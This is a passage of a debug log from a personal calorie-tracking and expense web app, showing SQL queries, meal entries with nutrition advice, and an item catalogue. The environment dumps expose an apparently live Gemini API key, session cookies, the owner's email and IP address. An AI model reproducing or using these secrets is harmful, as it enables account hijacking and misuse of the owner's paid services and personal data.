      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T03:45:19.187Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
2025-12-16T03:54:23.064Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T03:54:23.064Z server-connect:app Executing action step identify
2025-12-16T03:54:23.064Z server-connect:app options: { provider: 'security' }
2025-12-16T03:54:23.064Z server-connect:output identity: 1
2025-12-16T03:54:23.064Z server-connect:app Executing action step restrict
2025-12-16T03:54:23.064Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T03:54:23.066Z server-connect:output restrict: undefined
2025-12-16T03:54:23.066Z server-connect:router Render template layouts/main
2025-12-16T03:54:23.066Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T03:54:23.661Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T03:54:23.661Z server-connect:app Executing action step identify
2025-12-16T03:54:23.662Z server-connect:app options: { provider: 'security' }
2025-12-16T03:54:23.662Z server-connect:output identity: 1
2025-12-16T03:54:23.662Z server-connect:app Executing action step restrict
2025-12-16T03:54:23.662Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:54:23.662Z server-connect:output restrict: undefined
2025-12-16T03:54:23.662Z server-connect:app Executing action step select
2025-12-16T03:54:23.662Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T03:54:23.668Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T03:54:23.670Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T03:54:23.671Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T03:54:23.671Z server-connect:app Executing action step identify
2025-12-16T03:54:23.671Z server-connect:app options: { provider: 'security' }
2025-12-16T03:54:23.671Z server-connect:output identity: 1
2025-12-16T03:54:23.671Z server-connect:app Executing action step restrict
2025-12-16T03:54:23.671Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:54:23.672Z server-connect:app Executing action step identify
2025-12-16T03:54:23.672Z server-connect:app options: { provider: 'security' }
2025-12-16T03:54:23.672Z server-connect:output identity: 1
2025-12-16T03:54:23.672Z server-connect:app Executing action step restrict
2025-12-16T03:54:23.672Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:54:23.672Z server-connect:output restrict: undefined
2025-12-16T03:54:23.672Z server-connect:app Executing action step single
2025-12-16T03:54:23.672Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T03:54:23.673Z server-connect:output restrict: undefined
2025-12-16T03:54:23.673Z server-connect:app Executing action step single
2025-12-16T03:54:23.673Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T03:54:23.673Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T03:54:23.675Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T03:54:23.675Z server-connect:app Executing action step select
2025-12-16T03:54:23.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T03:54:23.677Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T03:54:23.677Z server-connect:app Executing action step setvalue
2025-12-16T03:54:23.677Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T03:54:23.677Z server-connect:output var_total: 350
2025-12-16T03:54:23.677Z server-connect:app Executing action step setvalue
2025-12-16T03:54:23.677Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T03:54:23.677Z server-connect:output var_consumed: 15
2025-12-16T03:54:23.677Z server-connect:app Executing action step setvalue
2025-12-16T03:54:23.677Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T03:54:23.677Z server-connect:output var_deficit: 2050
2025-12-16T03:54:23.677Z server-connect:app Executing action step custom
2025-12-16T03:54:23.677Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T03:54:23.679Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
2025-12-16T04:32:10.468Z server-connect:router Serving templateView /
2025-12-16T04:32:10.469Z server-connect:app Executing action step identify
2025-12-16T04:32:10.469Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:10.469Z server-connect:output identity: 1
2025-12-16T04:32:10.469Z server-connect:app Executing action step restrict
2025-12-16T04:32:10.469Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:32:10.471Z server-connect:output restrict: undefined
2025-12-16T04:32:10.471Z server-connect:app Executing action step restrict
2025-12-16T04:32:10.471Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:32:10.472Z server-connect:output restrict: undefined
2025-12-16T04:32:10.472Z server-connect:router Render template layouts/main
2025-12-16T04:32:10.472Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
